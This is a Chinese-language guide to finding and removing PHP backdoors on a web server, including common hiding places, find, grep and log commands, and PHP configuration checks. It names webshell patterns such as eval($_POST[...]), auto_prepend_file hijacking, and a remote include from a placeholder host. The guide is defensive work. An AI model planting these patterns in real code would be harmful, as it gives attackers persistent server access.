php后门常藏于wp-config.php.bak、.htaccess、shell.php等异常命名文件及uploads/cache/tmp等可写目录;可用find命令扫描近期修改或超小体积php文件,结合php.ini配置、扩展和日志分析全面排查。

PHP后门文件通常藏在哪几个位置
根目录下最常被植入后门的不是 index.php 这类显眼入口,而是那些“看起来合理、实际没人维护”的文件。常见高危位置包括:
- wp-config.php.bak(WordPress 备份文件,可直接执行)
- .htaccess(Apache 配置,可能包含 php_value auto_prepend_file 指向恶意脚本)
- shell.php、1.php、xx.php(无意义命名,权限为 644 或 600)
- uploads/ 目录下的 PHP 文件(尤其 WordPress 的 wp-content/uploads/)
- cache/、tmp/、logs/ 等可写目录中混入的 .php 或 .phtml
用 Linux 命令快速扫描可疑 PHP 文件
别依赖肉眼翻找,用命令批量筛出异常项。重点看三类特征:非标准命名、非预期位置、最近修改时间突变。
执行以下命令(需有 shell 权限):
find /var/www/html -type f -name "*.php" -mtime -7 -ls
这能列出 7 天内修改过的所有 PHP 文件;再结合:
find /var/www/html -type f -name "*.php" -size -2k -ls
筛选超小体积(如 300 字节以内)的 PHP 文件——多数一句话后门就长这样。
注意:
-
/var/www/html 替换为你实际的网站根路径- 若发现
eval($_POST[...])、assert($_GET[...])、base64_decode 连续调用,基本可判定为后门- 不要直接
rm -f 所有结果,先 head -n 20 文件名 看内容
检查 PHP 配置和扩展是否被劫持
后门不总在文件里,也可能藏在配置层:
- 查 php.ini 中是否被注入 auto_prepend_file 或 auto_append_file 指向未知路径
- 运行 php --ini 定位配置文件位置,再 grep -i "auto_prepend\|auto_append" /path/to/php.ini
- 检查已启用扩展:php -m | grep -E "(curl|sockets|pcntl|posix)" —— 某些后门依赖这些模块实现反弹 shell
- 若发现 disable_functions 被清空或删掉了 system、exec、passthru 等函数,说明攻击者早有准备
删除后门后必须做的三件事
删文件只是第一步,不补漏洞等于白删:
- 修改所有 FTP / SSH / 数据库密码,尤其是 root 和 admin 用户
- 检查 crontab:crontab -l 和 cat /etc/crontab,看是否有定时拉取远程脚本的任务
- 查 Web 日志中高频访问的异常 PHP 文件路径:grep "\.php" /var/log/apache2/access.log | awk '{print $7}' | sort | uniq -c | sort -nr | head -20
- 最容易被忽略的是:很多后门会通过 include 加载远程 URL(如 include "http://xxx/shell.txt"),这类行为在日志里不落地,但会在 PHP 错误日志中留下 failed to open stream: HTTP wrapper is disabled 提示——如果禁用了 allow_url_include 却还看到类似报错,说明之前已被利用过











